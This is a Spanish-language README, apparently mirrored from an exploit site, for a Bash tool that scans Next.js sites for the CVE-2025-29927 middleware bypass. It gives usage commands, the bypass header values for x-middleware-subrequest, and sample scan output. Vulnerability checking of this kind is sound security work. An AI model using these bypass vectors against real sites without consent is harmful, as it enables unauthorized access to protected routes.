## https://sploitus.com/exploit?id=271875B8-8ADF-56DD-82D3-F8452C9DEEBD
# Next.js Middleware Bypass Checker | CVE-2025-29927
Herramienta automatizada en Bash para detectar aplicaciones Next.js vulnerables al **bypass de middleware** **CVE-2025-29927**, según la investigación de Zhero Web Security.
## Requisitos
- `bash`
- [`whatweb`](https://github.com/urbanadventurer/WhatWeb)
- `curl`
Instálalos en Debian/Ubuntu con:
```bash
sudo apt install whatweb curl
```
---
## Uso
### Escanear una sola URL
```bash
./CVE-2025-29927.sh -u https://example.com
```
### Escanear múltiples URLs
Crea un archivo `urls.txt` con una URL por línea:
```txt
https://target1.com
https://target2.com
```
Ejecuta:
```bash
./nextjs_bypass_checker_v2.sh -l urls.txt
```
---
## Qué hace el script
1. **Identificación de Next.js**
- Usa `whatweb` para detectar la tecnología.
- Intenta leer `/_next/static/BUILD_ID` y `_buildManifest.js`.
2. **Detección de Middleware**
- Verifica si el servidor responde con cabeceras típicas del middleware de Next.js.
- `X-Middleware-Rewrite`
- `X-Middleware-Set-Cookie`
3. **Prueba de bypass**
- Se realiza una solicitud sin `x-middleware-subrequest` y se detectan cabeceras.
- Luego se repite la solicitud usando los vectores conocidos con el header.
- Si las cabeceras desaparecen, el middleware fue **bypasseado exitosamente**.
---
## Salida esperada
```bash
[*] Analizando: https://victima.com
[+] WhatWeb:
-> Detectado: Next.js[12.2.0]
[+] BUILD_ID: 3fjd92hf8
[+] Versión detectada: 12.2.0
[+] Middleware activo (cabeceras detectadas):
X-Middleware-Rewrite: /not-found/locale=en
[+] Probando exploits:
-> x-middleware-subrequest: middleware -> ✅ BYPASS EXITOSO (cabeceras desaparecieron)
-> x-middleware-subrequest: src/middleware -> ❌ Middleware no evadido
[*] Finalizado: https://victima.com
```
---
## Disclaimer
**Este script es para fines educativos y de auditoría autorizada.** No lo utilices contra objetivos sin consentimiento. El uso indebido puede constituir una actividad ilegal.
---
## Autor
- Roy Campos Vasquez — [@RoyCampos](https://github.com/RoyCampos)
Basado en la investigación de: [Zhero Web Security](https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware)